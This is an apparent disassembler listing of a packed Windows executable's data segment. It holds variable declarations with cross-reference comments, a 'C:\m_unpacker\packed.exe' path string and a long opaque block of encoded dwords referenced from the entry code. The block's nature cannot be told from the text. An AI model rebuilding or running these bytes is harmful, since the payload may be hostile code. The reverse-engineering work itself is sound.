dword_468C5C	dd 80h dup(0)		; DATA XREF: sub_4131CB+4Bo
					; sub_4131CB+7Do ...
byte_468E5C	db 0			; DATA XREF: sub_41328A+29r
					; sub_41328A+34w
		align 10h
dword_468E60	dd 80h dup(0)		; DATA XREF: sub_4134E1+61o
					; sub_4134E1+88o ...
dword_469060	dd 81h dup(0)		; DATA XREF: sub_412DE7+33o
					; sub_412DE7+50o ...
dword_469264	dd 81h dup(0)		; DATA XREF: sub_41449C+8Do
byte_469468	db 0			; DATA XREF: sub_414E8C+6Ar
					; sub_414E8C+98w
		align 4
		dd 2 dup(0)
dword_469474	dd 0			; DATA XREF: sub_415F3B+Aw
dword_469478	dd 0			; DATA XREF: sub_416AD4+5Er
					; sub_416AD4+A4w
		align 10h
word_469480	dw 0			; DATA XREF: sub_416AD4+55r
					; sub_416AD4+9Ao
word_469482	dw 0			; DATA XREF: sub_416AD4+48r
		db 2 dup(0)
word_469486	dw 0			; DATA XREF: sub_416AD4+3Br
word_469488	dw 0			; DATA XREF: sub_416AD4+2Er
word_46948A	dw 0			; DATA XREF: sub_416AD4+21r
		align 10h
dword_469490	dd 0			; DATA XREF: sub_416C98+3Br
					; sub_416C98+91w
dword_469494	dd 0			; DATA XREF: sub_416881+1B9w
					; sub_416E3E:loc_416EBAw ...
dword_469498	dd 0			; DATA XREF: sub_417709+35w
					; sub_4185CB:loc_418665w ...
dword_46949C	dd 0			; DATA XREF: sub_41D55A+13Ar
dword_4694A0	dd 0A28h		; DATA XREF: sub_417AF8+52w
dword_4694A4	dd 501h			; DATA XREF: sub_417AF8+49w
dword_4694A8	dd 5			; DATA XREF: sub_417AF8+3Ew
dword_4694AC	dd 1			; DATA XREF: sub_417AF8+30w
dword_4694B0	dd 1			; DATA XREF: sub_40C682:loc_40C96Fr
					; sub_41C8D3+91w
dword_4694B4	dd 4B0B00h		; DATA XREF: sub_40C682+2F6r
					; sub_40C682+316r ...
		dd 0
dword_4694BC	dd 4B0A80h		; DATA XREF: sub_41C81A+44w
					; sub_41F409+9r ...
dword_4694C0	dd 0			; DATA XREF: sub_41FAC2+36r
dword_4694C4	dd 0			; DATA XREF: sub_41F409+16r
					; sub_41F7D7+4r ...
		dd 0
off_4694CC	dd offset aCM_unpackerPac ; DATA XREF: sub_41C8D3+2Ew
					; "C:\\m_unpacker\\packed.exe"
		dd 0
byte_4694D4	db 0			; DATA XREF: sub_417849+2Dw
					; sub_41D17B+5r
		align 4
dword_4694D8	dd 0			; DATA XREF: sub_417849+27w
dword_4694DC	dd 0			; DATA XREF: sub_417849+4r
					; sub_417849+8Bw
dword_4694E0	dd 0			; DATA XREF: sub_417AF8+84w
					; sub_41C81A:loc_41C82Cr ...
		align 8
dword_4694E8	dd 0			; DATA XREF: sub_417BEEr sub_417C13r ...
dword_4694EC	dd 0			; DATA XREF: sub_4187B6+37r
		dd 0
dword_4694F4	dd 0			; DATA XREF: sub_415DC9r
					; sub_4174DF:loc_4175DBr ...
dword_4694F8	dd 0			; DATA XREF: sub_418A68r
dword_4694FC	dd 0			; DATA XREF: sub_41A016+11r
					; sub_41A11A+1Ar ...
byte_469500	db 0			; DATA XREF: sub_41A016+3r
					; sub_41A016+98r ...
		align 4
dword_469504	dd 0			; DATA XREF: sub_41A11A+11r
					; sub_41A1F8+21w ...
byte_469508	db 0			; DATA XREF: sub_41A1F8+51w
		align 4
dword_46950C	dd 0			; DATA XREF: sub_41A3EE+4Er
					; sub_41A7C9+3Ar ...
dword_469510	dd 0			; DATA XREF: sub_41A3EE+5Cr
					; sub_41A7C9+43r ...
dword_469514	dd 0			; DATA XREF: sub_4161C2+7Ar
					; sub_41A595+5r
dword_469518	dd 0			; DATA XREF: sub_41AB9C+29r
dword_46951C	dd 1			; DATA XREF: sub_41BD71+28r
					; sub_41BD71+4Cw ...
		dd 2 dup(0)
dword_469528	dd 0			; DATA XREF: sub_417193+4r
					; sub_417193+9Dr ...
		dd 3 dup(0)
dword_469538	dd 0			; DATA XREF: sub_4179F9+61r
					; sub_4179F9+BFr ...
		align 10h
dword_469540	dd 1			; DATA XREF: sub_41BFC0:loc_41C13Br
					; sub_41C159+4w ...
dword_469544	dd 0			; DATA XREF: sub_41C63E+3Ar
					; sub_41C63E+46w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41C8D3:loc_41C8EAo
					; seg000:off_4694CCo
		align 4
		dd 3Ah dup(0)
dword_46964C	dd 1			; DATA XREF: sub_41CB20+2r
					; sub_41CB20+23w ...
dword_469650	dd 0			; DATA XREF: sub_41CEE0+21r
dword_469654	dd 0			; DATA XREF: sub_4187B6:loc_4187DFw
					; sub_418880+154w ...
dword_469658	dd 1			; DATA XREF: sub_41D1F7+26r
					; sub_41D1F7:loc_41D261w
dword_46965C	dd 0			; DATA XREF: sub_418880+7r
word_469660	dw 0			; DATA XREF: sub_41DDDF+1Ao
					; sub_41DDDF+46r
byte_469662	db 0			; DATA XREF: sub_41DDDF+39r
		align 4
dword_469664	dd 7 dup(0)		; DATA XREF: sub_41DDDF+52o
dword_469680	dd 0			; DATA XREF: sub_41DDDF+40w
					; sub_41DDDF+5Co
dword_469684	dd 0			; DATA XREF: sub_41DDDF+4Dw
dword_469688	dd 0			; DATA XREF: sub_41DDDF+31w
dword_46968C	dd 0			; DATA XREF: sub_41DDDF+52w
dword_469690	dd 77C26E79h		; DATA XREF: sub_41DF02:loc_41DF25r
					; sub_41DF02+38r ...
		align 8
dword_469698	dd 0			; DATA XREF: sub_41E162+11w
					; sub_41E162+63w ...
		align 10h
dword_4696A0	dd 0			; DATA XREF: sub_41E162+33o
					; sub_41E162+46r
dword_4696A4	dd 10h dup(0)		; DATA XREF: sub_41E162+C1o
word_4696E4	dw 0			; DATA XREF: sub_41E3C0+A8r
word_4696E6	dw 0			; DATA XREF: sub_41E162+54r
					; sub_41E3C0+DBr ...
word_4696E8	dw 0			; DATA XREF: sub_41E3C0+CAr
word_4696EA	dw 0			; DATA XREF: sub_41E3C0+D3r
					; sub_41E3C0:loc_41E4B2r
word_4696EC	dw 0			; DATA XREF: sub_41E3C0+C0r
word_4696EE	dw 0			; DATA XREF: sub_41E3C0+B8r
word_4696F0	dw 0			; DATA XREF: sub_41E3C0+B0r
word_4696F2	dw 0			; DATA XREF: sub_41E3C0+9Er
dword_4696F4	dd 0			; DATA XREF: sub_41E162+4Br
dword_4696F8	dd 10h dup(0)		; DATA XREF: sub_41E162+FBo
word_469738	dw 0			; DATA XREF: sub_41E3C0+46r
word_46973A	dw 0			; DATA XREF: sub_41E162:loc_41E1D9r
					; sub_41E3C0+78r ...
word_46973C	dw 0			; DATA XREF: sub_41E3C0+67r
word_46973E	dw 0			; DATA XREF: sub_41E3C0+70r
					; sub_41E3C0:loc_41E444r
word_469740	dw 0			; DATA XREF: sub_41E3C0+5Dr
word_469742	dw 0			; DATA XREF: sub_41E3C0+55r
word_469744	dw 0			; DATA XREF: sub_41E3C0+4Dr
word_469746	dw 0			; DATA XREF: sub_41E3C0+3Er
dword_469748	dd 0			; DATA XREF: sub_41E162+80r
dword_46974C	dd 0			; DATA XREF: sub_41E162+132r
					; sub_41E162:loc_41E2AEr ...
dword_469750	dd 0			; DATA XREF: sub_41E14Dr sub_41E14D+Ew
dword_469754	dd 0			; DATA XREF: sub_41E6EE+3r
					; sub_41E6EE+2Ew ...
dword_469758	dd 0			; DATA XREF: sub_41E6EE+43w
					; sub_41E6EE:loc_41E73Dr
dword_46975C	dd 0			; DATA XREF: sub_41E6EE+4Aw
					; sub_41E6EE+60r
dword_469760	dd 0			; DATA XREF: sub_41D55A+3Fr
dword_469764	dd 0			; DATA XREF: sub_41F297:loc_41F2FEr
					; sub_41F297+6Do
dword_469768	dd 0			; DATA XREF: sub_41F297:loc_41F2D5r
					; sub_41F297+44o
dword_46976C	dd 0			; DATA XREF: sub_41F297:loc_41F2C8r
					; sub_41F297+37o
dword_469770	dd 0			; DATA XREF: sub_41F297:loc_41F2E2r
					; sub_41F297+51o
		align 8
dword_469778	dd 0			; DATA XREF: sub_41F845+28r
					; sub_41F845+48w ...
byte_46977C	db 1			; DATA XREF: sub_404EE6r sub_404EE6+9w ...
		align 10h
dword_469780	dd 344968h		; DATA XREF: sub_418749:loc_41875Ar
					; sub_4189F0+14r ...
		dd 7 dup(0)
dword_4697A0	dd 400h	dup(0)		; DATA XREF: seg000:off_438468o
					; seg000:00438470o
dword_46A7A0	dd 200h			; DATA XREF: sub_418749+9r
					; sub_418749+56r ...
		dd 7 dup(0)
dword_46A7C0	dd 4B0EF0h		; DATA XREF: sub_417C37+B1r
					; sub_41B8B0+75r ...
dword_46A7C4	dd 3Fh dup(0)		; DATA XREF: sub_41CC52+92o
dword_46A8C0	dd 20h			; DATA XREF: sub_4185CB+8r
					; sub_41B989+Cr ...
dword_46A8C4	dd 4E4h			; DATA XREF: sub_41BFC0+14r
					; sub_41BFC0+65w ...
		align 10h
dword_46A8D0	dd 3 dup(0)		; DATA XREF: sub_41BFC0+123o
					; sub_41BFC0+171o ...
dword_46A8DC	dd 0			; DATA XREF: sub_41BFC0+108w
					; sub_41BFC0+15Dw ...
byte_46A8E0	db 0			; DATA XREF: sub_41C1FF:loc_41C30Bw
					; sub_41C1FF:loc_41C328w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_46A9E0	db 0			; DATA XREF: sub_41BFC0+5Co
					; sub_41BFC0+AFo ...
byte_46A9E1	db 0			; DATA XREF: sub_417348+5Dr
					; sub_41BFC0+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_46AAE4	dd 0			; DATA XREF: sub_41BFC0+6Ew
					; sub_41BFC0+12Bw ...
dword_46AAE8	dd 10h			; DATA XREF: sub_418ABF+32w
					; sub_41915C+5r ...
dword_46AAEC	dd 0			; DATA XREF: sub_418B28+239r
					; sub_418B28+259r ...
dword_46AAF0	dd 340650h		; DATA XREF: sub_418ABF+2Dw
					; sub_418B28+310w ...
dword_46AAF4	dd 0			; DATA XREF: sub_418ABF:loc_418ADCw
					; sub_418B28+22Cr ...
dword_46AAF8	dd 1			; DATA XREF: sub_418ABF+24w
					; sub_418AFDr ...
dword_46AAFC	dd 340650h		; DATA XREF: sub_418ABF+15w
					; sub_418AFD+8r ...
dword_46AB00	dd 340000h		; DATA XREF: sub_415E07+28r
					; sub_415E3D+21r ...
dword_46AB04	dd 142340h		; DATA XREF: sub_417AF8+7Aw
					; sub_41C7C2+Fr ...
dword_46AB08	dd 1			; DATA XREF: sub_41C81A+ADw
					; sub_41F409r
dword_46AB0C	dd 1			; DATA XREF: sub_41C384r
					; sub_41C384+11w ...
dword_46AB10	dd 4B0E6Ch		; DATA XREF: sub_4167D3+13r
					; sub_4167D3:loc_416815r ...
dword_46AB14	dd 4B0E60h		; DATA XREF: sub_4167D3+1r
					; sub_4167D3+Cr ...
byte_46AB18	db 1			; DATA XREF: sub_4200C4+15r
					; sub_4200C4+1Ew
		align 4
		dd 139h	dup(0)
dword_46B000	dd 0EC8B1C55h, 4948E81h, 45013C1Ch, 0B9575608h,	1501C3A5h
					; DATA XREF: start-15F6o
		dd 6CBD8DF0h, 0F3C5FFFDh, 3380C7F4h, 1200290h, 150E297Eh
		dd 142104Ch, 4506E850h,	858D1C83h, 3C7CFE74h, 88A10FDDh
		dd 0D06FFDF4h, 395E883h, 6C1B5A62h, 0E56807FBh,	81330430h
		dd 0F6330044h, 1C20C483h, 0BAF87539h, 391C56A9h, 3AF4517Ch
		dd 0B5D54807h, 0BFE86D03h, 4A4E651Ch, 6C1F2614h, 0EBA0D131h
		dd 1A4170B5h, 59034208h, 8384568Ah, 5E5F4548h, 0A084B232h
		dd 6A575398h, 0DB331C0Eh, 0AFC0D459h, 88A54D30h, 0DC34C9Dh
		dd 9366ABF3h, 7C8A11AAh, 2681CFDh, 10150E62h, 850143A3h
		dd 8C0774C0h, 23F3E952h, 5F010E6Ah, 68255357h, 0DFD65EFFh
		dd 40025803h, 8380A43Ch, 689F0F8h, 840FE045h, 0A38043CAh
		dd 6A18C04Dh, 53365104h, 7D893D50h, 0A3784062h,	8A3A781Bh
		dd 6614B900h, 0A87A45C7h, 9F98B1C8h, 6A08C38Bh,	76396628h
		dd 0AC3BF9AAh, 52CC3CC6h, 98254116h, 7D08CE28h,	0D25D80D0h
		dd 80D432C6h, 6D53308h,	5029D619h, 433024DCh, 0F1C1E8EEh
		dd 0B70FDB40h, 0B9993BC0h, 0F70A82C9h, 401B52F9h, 34567868h
		dd 0EC411266h, 2494421Eh, 1CB348D8h, 10AC04F0h,	94475DE8h
		dd 0FDCD1C0Ch, 0F49809B3h, 2F9A801h, 0CC6854EBh, 471C3FA0h
		dd 0EB10C141h, 39FA6838h, 0F6790A25h, 0F9E9D04Dh, 0DE61993Fh
		dd 0F9F45589h, 20E423Fh, 1ADA9013h, 0E2801FD2h,	88D1070Eh
		dd 568C755h, 86901840h,	0ACA550F8h, 0CF8DFA8Fh,	33C1D5B8h
		dd 241006FEh, 0B38A542Ah, 3F73E422h, 0BC6142FDh, 99183E60h
		dd 52B80EC4h, 304BB983h, 6A3603D5h, 133E5E14h, 0C470E655h
		dd 6FC867CAh, 94D6B4FCh, 0E9E804C6h, 0C2812103h, 52112BFFh
		dd 0D8EC9F5Dh, 0F88B3DB8h, 0AAE7C128h, 0B15AE67h, 1C2557A5h
		dd 67F91C51h, 6FC0CBAh,	320E9350h, 0DC03D820h, 8C0E0556h
		dd 4905D88h, 2C0691A3h,	0D830CC92h, 98A3880Ch, 34206A99h
		dd 0FF444C5Dh, 9FEC6DE8h, 9056D924h, 0DBC86C23h, 6A8C1D48h
		dd 70C71C34h, 0FC3BA18Eh, 90CC4690h, 71B88834h,	8AA70C60h
		dd 0F14C1242h, 381E5364h, 44AB0A52h, 8286446h, 6CD6C481h
		dd 0D1424D72h, 6A2D0792h, 7553E510h, 0E0260A2Dh, 63FC13B2h
		dd 1F87453h, 48911045h,	0E80FC0C8h, 7FC8A03Bh, 598C0F3Ch
		dd 1C6419CAh, 73C400E4h, 0D9BDE92Eh, 0B22C421Bh, 220CB967h
		dd 59C68C68h, 0C2412834h, 38181126h, 0DB6A9DA2h, 8B0307F2h
		dd 88625A5Dh, 5E18A430h, 80A2F80Eh, 5F1DC38Bh, 5316C95Bh
		dd 24E0DE19h, 4D666020h, 1265C58Ch, 0B1E68718h,	4701465Fh
		dd 0D86FCF0Bh, 80A85468h, 0A7D431EEh, 24070A5h,	60A69057h
		dd 8D2C3953h, 1B93284h,	0E8565007h, 9AD2FC96h, 584590C6h
		dd 1193675h, 23E84C58h,	0FFE678CBh, 5B2C93B0h, 0BC6295C3h
		dd 0D4562503h, 6899C349h, 9759BE2Ch, 65BA4415h,	6C9D5B58h
		dd 69205061h, 9C983489h, 18980B9Dh, 0FC147414h,	0B3DC5F75h
		dd 105FEC44h, 404C8432h, 0CDF330Ch, 0DC7D3917h,	1C57350Ah
		dd 0D819D948h, 0E6E6484Dh, 0FE442235h, 0BF188A23h, 9C1CFC21h
		dd 0C8752662h, 223D176Ch, 61325732h, 9A16F4CEh,	5057FAC5h
		dd 0D0CB1994h, 7956753Eh, 2131E084h, 0A4A33FD3h, 1E13F977h
		dd 5F912523h, 0FE4264B6h, 6FD8537Dh, 90685529h,	0B66BC8ACh
		dd 678D5ECBh, 3617AC62h, 89BBE23h, 6A793CF8h, 0D9404032h
		dd 0B8A456E8h, 817E9C59h, 0CA146257h, 8BD887E6h, 0B4C69435h
		dd 7D98C02Ch, 0D668FF08h, 0B13A9610h, 0D2330A2Bh, 0F126CC26h
		dd 0FD0026Fh, 0A0489487h, 8FBA1C68h, 9805C60Dh,	0D267668Bh
		dd 77D4AB40h, 8B9A2866h, 9C1D2A54h, 9E3D2207h, 82A048C8h
		dd 0A11D8880h, 10A21491h, 26E83074h, 834E3EEAh,	8E3C1D8h
		dd 1521E0D3h, 0B2D69003h, 18431ACCh, 15A49422h,	0EF18EB5Bh
		dd 0EA8AE2C6h, 73AA5957h, 106B1BA2h, 1176A8DBh,	973E9A26h
		dd 3C20B76Eh, 0A1AC1588h, 211B8713h, 0CE7410ADh, 0BF5810F0h
		dd 91914F5Ch, 11B3AE2Bh, 104231B2h, 8414B015h, 0FF28485Ch
		dd 685246B0h, 6613A1B4h, 4B3E5515h, 5729AC4Dh, 0FED2BAFFh
		dd 0B1FC6F50h, 2433CAADh, 24E916DAh, 2416539Ah,	2A418B61h
		dd 87A1648h, 0DD926879h, 2E0E8AEh, 430611E1h, 6F185A42h
		dd 15C3C250h, 99D52336h, 7A3B0F08h, 606A753Ah, 0C06BB281h
		dd 0C1C8E03Ch, 0F70AE807h, 0E961D075h, 834F5114h, 52C81464h
		dd 42E4D528h, 3CFE1030h, 57FC1C88h, 0A39C853Eh,	7A3A8A88h
		dd 144FE766h, 8E852E28h, 1023EC47h, 0B1F088B2h,	7497084h
		dd 0E811FDF9h, 0C81B3C0Dh, 327442ECh, 8C3C6610h, 0EC881842h
		dd 9A587059h, 0A4FD44ECh, 427E1447h, 98B610FBh,	93BF1C96h
		dd 0A818CB39h, 0F4648F6Eh, 0C810231Dh, 1E79A8B7h, 0B088C814h
		dd 421C5340h, 96A09F3Ch, 2736277Ah, 81B4B240h, 10220BE0h
		dd 89E4E244h, 24E802E6h, 4EA22E9h, 8AB264F0h, 2ACE4D66h
		dd 0B43AD46Ah, 2D90831h, 0DACCDE62h, 959CC0E8h,	0F8F2DE90h
		dd 14C44016h, 0B611C089h, 13F8083Fh, 1913F28Bh,	8FA86E46h
		dd 0E9E8DC67h, 6791CD3Bh, 3B27F2CCh, 851D7A14h,	6A6CD044h
		dd 0EC241464h, 3E09F009h, 0EC649467h, 3B58102Bh, 2C57CC84h
		dd 843B4647h, 0DC328733h, 1657E002h, 88342452h,	52136460h
		dd 0A41194CEh, 86EDF13Ah, 46A7EA0Ch, 0CC3ADE89h, 0C8B04794h
		dd 0D2771F4h, 0FC1316E6h, 9392C63Bh, 2F819C8h, 2BBB24A8h
		dd 8432B010h, 0F383995h, 0F4889646h, 84D321DEh,	193ECC62h
		dd 0DCC11320h, 1A399E31h, 0D8F2C4Bh, 1C23FD42h,	0A8664079h
		dd 8F6ECC69h, 0DAA7C058h, 5E1D615Ch, 0FB611A94h, 0B0890E82h
		dd 2C9A9072h, 60422698h, 0B53D8B84h, 43D7F926h,	0F92C18C3h
		dd 597A1259h, 2C66C4B6h, 38FB44C0h, 963B3442h, 9D3D31CEh
		dd 75998558h, 1D245323h, 0F954C6C2h, 8CC49729h,	2384C0EFh
		dd 43BF10D0h, 8F94E210h, 19107144h, 0C9538836h,	28CC7384h
		dd 470BF575h, 33EC847Eh, 0C41D1822h, 87647852h,	0D3359B08h
		dd 34FD6A27h, 715E53C4h, 0A788B821h, 346E2137h,	11707A64h
		dd 0F4B10FE2h, 2B230B93h, 0BC45114Bh, 0A37D711h, 6253817Eh
		dd 90BECA4Dh, 8B204CDBh, 13085D12h, 0A9059A7h, 0C7B2042Bh
		dd 0FD730D2h, 97B9AA87h, 7DC42817h, 9D1BC4B7h, 91313150h
		dd 0D87508D6h, 97DA5D01h, 7248DC38h, 74DE41DDh,	0A479612Dh
		dd 0C10729EFh, 29A608E6h, 21034315h, 3415641Fh,	0A75B7B0h
		dd 16EB5EE0h, 832EE2D9h, 0B26CB471h, 646F98E0h,	5948CCC0h
		dd 767CE418h, 5E36E210h, 68EBDC28h, 211B6806h, 0E8EA61CFh
		dd 1F41AFC2h, 96E811FCh, 4AF55B50h, 0B4689F44h,	5F0D738Ch
		dd 74C8323Ch, 0F040E4F8h, 0EB0214F5h, 0B0C8205Ch, 3C3BED62h
		dd 3C537F98h, 90A82120h, 0D925A3CDh, 2D2A3645h,	37793008h
		dd 82E2AFDh, 3B68F51Ch,	0C5F421C2h, 0E0E30CF6h,	0F0829C0Ch
		dd 0FA37A9E2h, 20F80999h, 0A4F870A0h, 1A0EA581h, 0C2488DA6h
		dd 9BADC5F2h, 2477BD66h, 0B32466DBh, 571E2180h,	0F09C3635h
		dd 20824343h, 42D468F8h, 3933E433h, 0B269372Bh,	0F2E63621h
		dd 22884526h, 0B935B58Bh, 0FE1C60EFh, 0DE2B8143h, 35EE4245h
		dd 0BC46F0EEh, 0F53C2E44h, 0BAACD73Ch, 0C4A1FD43h, 42441CFDh
		dd 0FBC01033h, 193A2FB1h, 0E6BC6C32h, 0F8C40C46h, 432F2C90h
		dd 0E08FD332h, 0CC92B589h, 0C408E373h, 194451FDh, 94E0910Ch
		dd 341B427Ah, 91A1E379h
		dd 8855475Eh, 319E7067h, 0EC19A787h, 3E040503h,	1D256F0h
		dd 6211E65Ch, 46893ECh,	24C88352h, 3C307058h, 0BF4885A4h
		dd 10114616h, 0AE88C20Ch, 22522C71h, 638A2975h,	0F6858F3Ah
		dd 0B8400569h, 0F0A77EBh, 0D5FC45B7h, 0A1FA114Ch, 0F008F805h
		dd 24F64284h, 10187DF2h, 20E85675h, 0CC839E9h, 287CB38Dh
		dd 0C398BD99h, 3775031Bh, 0FCC12275h, 0B8823BEAh, 8138929Dh
		dd 1892C26Ah, 5394DA06h, 14497792h, 0E80C05F6h,	40000B59h
		dd 5EC03324h, 622596C9h, 0D1408DCh, 0F724A583h,	25729E5Eh
		dd 9FC6549h, 24D7E906h,	0C29031FEh, 2734D932h, 532857A6h
		dd 1ABF324h, 275F2013h,	8AB84D89h, 232F9E52h, 2934154Dh
		dd 0C84BB21h, 601A086Ah, 2384D592h, 74383B62h, 9728BC75h
		dd 13A35028h, 773CB324h, 6008C991h, 3252423Ch, 14C8E309h
		dd 81B58DD5h, 96901D90h, 51FC9240h, 4A308D50h, 3D5DB9FEh
		dd 193B53A9h, 8AA636Ah,	44A442C4h, 15A1532Bh, 42C21595h
		dd 84DA82C7h, 0C4585234h, 2A278E8h, 0AEF0BF0Fh,	0FCD37EECh
		dd 2064CEC2h, 7480C4F6h, 422F7B58h, 83662D1Dh, 1D831F0Ch
		dd 7A1A7EBEh, 15B0403Ah, 107D5B0Ah, 0BD84C712h,	0FD211524h
		dd 0DA17FE9h, 811EC42Ch, 5F2E7DC3h, 1102212Bh, 143C6854h
		dd 402203E4h, 4641028h,	8B223022h, 498D19B4h, 0F649E17h
		dd 832D1A58h, 0DE59E120h, 217B0A4h, 49E81375h, 0A480F448h
		dd 25230535h, 0F8E99806h, 36E8317Bh, 84B93D27h,	25765959h
		dd 5C52879Bh, 244868B1h, 4160EB56h, 850F0D96h, 5A60D08Fh
		dd 958384D2h, 0E408C624h, 432BA868h, 593445F6h,	0B370895Ch
		dd 9D9F3D30h, 0B50A1C7h, 0F6E28531h, 20EB1930h,	74F2FE40h
		dd 30A1467h, 20F0F54h, 4040548h, 0D4D11A75h, 0A82507EBh
		dd 94DAC0F5h, 65E81683h, 839A2337h, 81142A0Eh, 0A1B4897Dh
		dd 278C0FEBh, 0FA830A34h, 8414C6FCh, 0E890478Eh, 0E80B2861h
		dd 51B42DDCh, 0CC2CBC4h, 2202B4B8h, 0ED8755E8h,	0B2F1F5F3h
		dd 0F2E17235h, 0C285AD44h, 9A595688h, 0AAB3838Ch, 25DF6482h
		dd 49C4F633h, 435B5640h, 0CC56C830h, 3A9C4CBAh,	3DE8E660h
		dd 59F1967Ch, 4A166956h, 19CCAB13h, 83F82A8Bh, 5C9182FCh
		dd 0FD4C7058h, 1046E28Bh, 2F8C2F7Bh, 0E988D875h, 1BE8481Ah
		dd 0F39D49D4h, 0C44C3FE9h, 7E0747BBh, 0CD2FF5A6h, 0D0E9A78Bh
		dd 1E2D0782h, 40D019A1h, 34C069ABh, 893B699Ah, 43F513B8h
		dd 0D04988E2h, 0A3B1C427h, 107E5A64h, 909E45E4h, 3D23AF2Eh
		dd 59444FC4h, 4412B657h, 2C458186h, 8889851Dh, 2C0FE045h
		dd 6AF80FB8h, 4921044Ch, 55983289h, 10839F44h, 5D7AC898h
		dd 0D806BA08h, 88F8ACCh, 53702BFEh, 97904DBBh, 0B814BF2Ch
		dd 0D202F51h, 52BD9257h, 1142659Eh, 0E928EF51h,	4C9B0C8h
		dd 0E990E128h, 0C055BD80h, 0C6750637h, 586C858Bh, 896D1E13h
		dd 0E4052A18h, 0C3ADB475h, 8C681862h, 33A4AF98h, 9D3130B5h
		dd 59C37B8Bh, 952DEFFFh, 26506D05h, 86423C23h, 0D2470F84h
		dd 0AD6B1894h, 2BE9E3D1h, 0D021B350h, 0F6036CFh, 0A2D425F6h
		dd 61BC3344h, 0C6582465h, 737F0484h, 0A8C57A8Bh, 3534FFBBh
		dd 720F8085h, 0B02B4425h, 9632D3BFh, 0F62A6ACBh, 62059023h
		dd 0E92289A2h, 6197F9EEh, 5D44FC68h, 7C57085Ch,	5B104486h
		dd 386458ADh, 9C844A78h, 84A25A19h, 941C2A7Ah, 9A094B42h
		dd 5759F6DAh, 21A29F42h, 1AB42D19h, 82EC45C8h, 115A2E64h
		dd 1E66C2C8h, 684F58A1h, 30DC4510h, 0D682013Eh,	0E01EB206h
		dd 0A13F9429h, 9516C6A7h, 368AAC97h, 0BD998AE4h, 0B64514B0h
		dd 0D122FA5Ch, 0E83B2C04h, 69FCBE88h, 0C060AC1h, 68E23D01h
		dd 761D5C4Eh, 21055854h, 89940650h, 22F71F46h, 0FE5C1209h
		dd 771027B2h, 10248A31h, 0EC8A114Bh, 0A477CA22h, 8BA6C210h
		dd 4C2FEC3Dh, 0F074E5D7h, 0ABF46968h, 0B4CAC846h, 31714650h
		dd 1187100Ch, 2F51A5A6h, 4067742h, 22EBC032h, 34B58D3Eh
		dd 48B76439h, 0B089F009h, 96B15001h, 0B9B8478Dh, 0DBE86D23h
		dd 0D0A19719h, 312553DDh, 13A4D4E5h, 9269A69Dh,	0E4C6B10Ch
		dd 0C46C68C8h, 482DE023h, 33C6632Bh, 0FFF2B8C9h, 10548A80h
		dd 1C88C80Dh, 410E2080h, 0F9832040h, 24EE7C28h,	0C7D7606Ah
		dd 84B1568h, 7DB5E630h,	2320992h, 0AAA8E0D1h, 0A3023581h
		dd 4CCA2A8Dh, 6A3F1C60h, 0A9BF6809h, 4D81D72Fh,	45848D59h
		dd 8A456C7Fh, 0C0C43DA9h, 801A0444h, 88E0D0B7h,	24D8FFFEh
		dd 0A9538581h, 220A8722h, 43CC69Eh, 44C84809h, 7DC439FEh
		dd 59654586h, 2CD693FEh, 99350171h, 1663123Bh, 0CEFA8903h
		dd 488AB163h, 0D984080Bh, 0C8BD64CEh, 0F642E0F5h, 0ACBF21DCh
		dd 8E4620Dh, 12FFE340h,	9EAD9668h, 982AB620h, 0C22482C1h
		dd 382BD07Fh, 0B5EC988Dh, 0EB482446h, 3DF8CC9Fh, 47B82DBEh
		dd 510D3625h, 34378591h, 0DF11D833h, 5834914Bh,	0BC6801EEh
		dd 0CC294A23h, 645C9113h, 8050BD77h, 0D4724031h, 43680C31h
		dd 17A62AEEh, 0C8701048h, 0D948AB8h, 58734A8Eh,	7C3DCF3Bh
		dd 58A50BECh, 0E8DACD3h, 0BE148459h, 86B41C52h,	327F7650h
		dd 582316Ah, 28BE2229h,	0B0F0897h, 3FC429F6h, 0D0D0EB50h
		dd 0F0280750h, 0DB7104E3h, 0BD4B29DBh, 2184AC7Dh, 2291F190h
		dd 128B195Ah, 15175639h, 0F8AC36C4h, 0C4085D88h, 9898A135h
		dd 8530895Ch, 2968299Ch, 5C57A00Eh, 446FA4D3h, 0BE3E0F87h
		dd 815AC845h, 358B04C0h, 6A38E532h, 0C4E3FA58h,	0D64CF57Ah
		dd 90788B3h, 9AE9C1E9h,	0EA5323Dh, 160640BBh, 0CAC04AC8h
		dd 0C62953A9h, 20E524D7h, 2A9ACCAEh, 748A3A85h,	375C28C6h
		dd 5213A068h, 2BB44C38h, 2CE59B42h, 568BAFF1h, 24773ABCh
		dd 47A34DF0h, 45CB1B29h, 5A22B882h, 4F437E1Bh, 30223B7Bh
		dd 706A2411h, 0FA85C955h, 0FE2B0F4Eh, 0C8948490h, 310A5E44h
		dd 0E6089798h, 0E46831C9h, 0A214A1B5h, 2ED03B95h, 13858A76h
		dd 466D243Ch, 6610FCADh, 8E200EADh, 0D88751BAh,	420FDC63h
		dd 0EB1F7A98h, 667CD258h, 4C4B2A6Ah, 0A5ACE926h, 86DD28D2h
		dd 0D3D82184h, 90886210h, 25DBA862h, 4CDD325Ch,	30248499h
		dd 0E0455337h, 508AB35Dh, 548B0CF8h, 5C686344h,	0BCB5922Ch
